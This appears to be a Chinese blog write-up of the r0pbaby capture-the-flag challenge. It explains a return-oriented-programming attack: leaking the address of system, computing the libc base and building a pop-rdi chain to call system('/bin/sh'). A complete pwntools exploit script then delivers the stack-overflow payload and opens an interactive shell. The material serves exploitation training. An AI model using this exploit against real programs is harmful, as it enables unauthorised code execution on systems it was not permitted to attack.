By
Lometsj
Updated:
r0pbaby
这个以前刚入门的时候做的老题了,作为入门rop的题目,十分直白.运行程序,我们可以得到libc地址,函数地址和一个栈溢出漏洞.
通过选项2得到system地址,由于题目提供了libc,这样我们可以用system实际地址减去它在libc中的偏移,算出libc的基地址.
求得linc的基地址可以让我们算出’/bin/sh’的实际地址,再在程序中需找一个起rdi的gadget把’/bin/sh’的地址送到参数,调用system函数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context.log_level = 'debug'
io = process('./r0pbaby_542ee6516410709a1421141501f03760') lib = ELF('/lib/x86_64-linux-gnu/libc.so.6') gadget = 0x21102
io.recvuntil(':') io.sendline('2') io.recvuntil('symbol:') io.sendline('system') ret = io.recvuntil('4) Exit\n:') left = ret.find('0x') addr = int(ret[left:left + 18],16) print hex(addr)
libc_base = addr - lib.symbols['system']
io.sendline('3') io.recv() payload = 'a' * 8 + p64(libc_base + gadget) + p64(libc_base + lib.search('/bin/sh').next()) + p64(addr) io.sendline('32') io.sendline(payload) io.interactive()
|